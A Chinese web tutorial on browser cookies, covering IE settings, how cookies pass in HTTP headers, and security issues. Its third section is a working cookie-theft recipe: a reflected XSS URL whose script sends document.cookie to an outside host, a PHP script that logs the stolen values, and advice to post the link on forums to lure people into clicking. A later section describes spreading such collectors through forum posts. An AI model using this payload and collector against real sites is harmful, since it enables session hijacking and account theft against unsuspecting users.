欢迎光临
我们一直在努力

全面了解Cookie的传递流程、编程实现及安全问题-ASP教程,ASP技巧

建站超值云服务器,限时71元/月

cookie在英文中是小甜品的意思,而这个词我们总能在浏览器中看到,食品怎么会跟浏览器扯上关系呢?在你浏览以前登陆过的网站时可能会在网页中出现:你好xx,感觉很亲切,就好像是吃了一个小甜品一样。这其实是通过访问你主机里边的一个文件来实现的,因此这个文件也就被称为了cookie。想全面了解cookie吗?看看下文吧!

    一.了解cookie 适用对象:初级读者

  cookie是当你浏览某网站时,网站存储在你机器上的一个小文本文件,它记录了你的用户id,密码、浏览过的网页、停留的时间等信息,当你再次来到该网站时,网站通过读取cookie,得知你的相关信息,就可以做出相应的动作,如在页面显示欢迎你的标语,或者让你不用输入id、密码就直接登录等等。你可以在ie的“工具/internet选项”的“常规”选项卡中,选择“设置/查看文件”,查看所有保存到你电脑里的cookie。这些文件通常是以user@domain格式命名的,user是你的本地用户名,domain是所访问的网站的域名。如果你使用netscape浏览器,则存放在“c:\programfiles\netscape\users\”里面,与ie不同的是,netscape是使用一个cookie 文件记录所有网站的cookies。
  
  为了保证上网安全我们需要对cookie进行适当设置。打开“工具/internet选项”中的“隐私”选项卡(注意该设置只在ie6.0中存在,其他版本ie可以在“工具/internet选项”的“安全”标签中单击“自定义级别”按钮,进行简单调整),调整cookie的安全级别。通常情况,可以将滑块调整到“中高”或者“高”的位置。多数的论坛站点需要使用cookie信息,如果你从来不去这些地方,可以将安全级调到“阻止所有cookies”。如果只是为了禁止个别网站的cookie,可以单击“编辑”按钮,将要屏蔽的网站添加到列表中。在“高级”按钮选项中,你可以对第一方cookie和第三方的cookie进行设置,第一方cookie是你正在浏览的网站的cookie,第三方cookie非正在浏览的网站发给你的cookie,通常要对第三方cookie选择“拒绝”,如图1。你如果需要保存cookie,可以使用ie的“导入导出”功能,打开“文件/导入导出”,按提示操作即可。

  cookie中的内容大多数经过了加密处理,因此在我们看来只是一些毫无意义的字母数字组合,只有服务器的cgi处理程序才知道它们真正的含义。通过一些软件我们可以查看到更多的内容,使用cookie pal软件查看到的cookie信息,如图2所示。它为我们提供了server、expires、name、value等选项的内容。其中,server是存储cookie的网站,expires记录了cookie的时间和生命期,name和value字段则是具体的数据(本报第10期第42版对该软件有详细介绍)。
  下载地址:http://www.cbifamily.com/down/200411/cfnetwork/cp1.exe。
  
  二、cookie的传递流程 适用对象:中级读者
  
  当在浏览器地址栏中键入了一个web站点的url,浏览器会向该web站点发送一个读取网页的请求,并将结果在显示器上显示。这时该网页在你的电脑上寻找amazon网站设置的cookie文件,如果找到,浏览器会把cookie文件中的数据连同前面输入的url一同发送到amazon服务器。服务器收到cookie数据,就会在他的数据库中检索你的id,你的购物记录、个人喜好等信息,并记录下新的内容,增加到数据库和cookie文件中去。如果没有检测到cookie或者你的cookie信息与数据库中的信息不符合,则说明你是第一次浏览该网站,服务器的cgi程序将为你创建新的id信息,并保存到数据库中。
  cookie是利用了网页代码中的http头信息进行传递的,浏览器的每一次网页请求,都可以伴随cookie传递,例如,浏览器的打开或刷新网页操作。服务器将cookie添加到网页的http头信息中,伴随网页数据传回到你的浏览器,浏览器会根据你电脑中的cookie设置选择是否保存这些数据。如果浏览器不允许cookie保存,则关掉浏览器后,这些数据就消失。cookie在电脑上保存的时间是不一样的,这些都是由服务器的设置不同决定得。cookie有一个expires(有效期)属性,这个属性决定了cookie的保存时间,服务器可以通过设定expires字段的数值,来改变cookie的保存时间。如果不设置该属性,那么cookie只在浏览网页期间有效,关闭浏览器,这些cookie自动消失,绝大多数网站属于这种情况。通常情况下,cookie包含server、expires、name、value这几个字段,其中对服务器有用的只是name和value字段,expires等字段的内容仅仅是为了告诉浏览器如何处理这些cookies。

  三、cookie的编程实现 适用对象:高级读者
  
  多数网页编程语言都提供了对cookie的支持。如javascript、vbscript、delphi、asp、sql、php、c#等。在这些面向对象的编程语言中,对cookie的编程利用基本上是相似的,大体过程为:先创建一个cookie对象(object),然后利用控制函数对cookie进行赋值、读取、写入等操作。那么如何通过代码来获取其他用户cookie中的敏感信息?下面进行简单的介绍。
  该方法主要有两步,首先要定位你需要收集cookie的网站,并对其进行分析,并构造url;然后编制收集cookie的php代码,并将其放到你可以控制的网站上,当不知情者单击了你构造的url后可以执行该php代码。下面我们看具体的实现过程。

  1.分析并构造url

  首先打开我们要收集cookie的网站,这里假设是http://www.xxx.net,登陆网站输入用户名“<a1>”(不含引号),对数据进行分析抓包,得到形如“http://www.xxx.net/txl/login/login.pl?username=<a1>&passwd=&ok.x=28&ok.y=6”的代码,将“<a1>”更换为“<script>alert(document.cookie)</script>”再试;如果执行成功,就开始构造url:“http://www.xxx.net/txl/login/login.pl?username=<script>window.open(“http://www.cbifamily.org/cbi.php?”%2bdocument.cookie)</script>&passwd=&ok.x=28&ok.y=6”。其中http:///www.cbifamily.org/cbi.php就是你能够控制的某台主机上的一个脚本。需要注意的是“%2b”为符号“+”的url编码,因为“+”将被作为空格处理。该url就可以在论坛中发布,诱使别人点击了。

  2.编制php脚本

  该脚本的作用就是收集cookie文件,具体内容如下:

  
    <?php
    $info = getenv(“query_string”);
    if ($info) {
    $fp = fopen(“info.txt”,”a”);
   fwrite($fp,$info.”\n”);
   fclose($fp);
    }
    header(“location: http://www.knowsky.com”);
    ?>

  四、cookie的安全问题 适用对象:所有希望上网安全的读者

  1.cookie欺骗

  cookie记录着用户的帐户id、密码之类的信息,如果在网上传递,通常使用的是md5方法加密。这样经过加密处理后的信息,即使被网络上一些别有用心的人截获,也看不懂,因为他看到的只是一些无意义的字母和数字。然而,现在遇到的问题是,截获cookie的人不需要知道这些字符串的含义,他们只要把别人的cookie向服务器提交,并且能够通过验证,他们就可以冒充受害人的身份,登陆网站。这种方法叫做cookie欺骗。cookie欺骗实现的前提条件是服务器的验证程序存在漏洞,并且冒充者要获得被冒充的人的cookie信息。目前网站的验证程序要排除所有非法登录是非常困难的,例如,编写验证程序使用的语言可能存在漏洞。而且要获得别人cookie是很容易的,用支持cookie的语言编写一小段代码就可以实现(具体方法见三),只要把这段代码放到网络里,那么所有人的cookie都能够被收集。如果一个论坛允许html代码或者允许使用flash标签就可以利用这些技术收集cookie的代码放到论坛里,然后给帖子取一个吸引人的主题,写上有趣的内容,很快就可以收集到大量的cookie。在论坛上,有许多人的密码就被这种方法盗去的。至于如何防范,目前还没有特效药,我们也只能使用通常的防护方法,不要在论坛里使用重要的密码,也不要使用ie自动保存密码的功能,以及尽量不登陆不了解底细的网站。

  2.flash的代码隐患

  flash中有一个geturl()函数,flash可以利用这个函数自动打开指定的网页。因此它可能把你引向一个包含恶意代码的网站。打个比方,当你在自己电脑上欣赏精美的flash动画时,动画帧里的代码可能已经悄悄地连上网,并打开了一个极小的包含有特殊代码的页面。这个页面可以收集你的cookie、也可以做一些其他的事情,比如在你的机器上种植木马甚至格式化你的硬盘等等。对于flash的这种行为,网站是无法禁止的,因为这是flash文件的内部行为。我们所能做到的,如果是在本地浏览尽量打开防火墙,如果防火墙提示的向外发送的数据包并不为你知悉,最好禁止。如果是在internet上欣赏,最好找一些知名的大网站。

赞(0)
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com 特别注意:本站所有转载文章言论不代表本站观点! 本站所提供的图片等素材,版权归原作者所有,如需使用,请与原作者联系。未经允许不得转载:IDC资讯中心 » 全面了解Cookie的传递流程、编程实现及安全问题-ASP教程,ASP技巧
分享到: 更多 (0)